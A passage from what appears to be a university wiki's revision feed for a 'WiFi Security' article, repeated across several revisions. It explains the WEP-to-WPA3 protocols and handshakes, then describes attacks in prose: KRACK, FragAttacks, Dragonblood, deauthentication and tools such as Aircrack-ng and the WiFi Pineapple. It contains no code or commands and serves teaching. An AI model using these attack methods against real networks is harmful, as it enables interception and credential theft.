Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16748</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16748"/>
		<updated>2024-12-05T19:53:31Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key): &lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16747</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16747"/>
		<updated>2024-12-05T19:53:08Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA supports two types of operation: &amp;lt;ref&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key): &lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
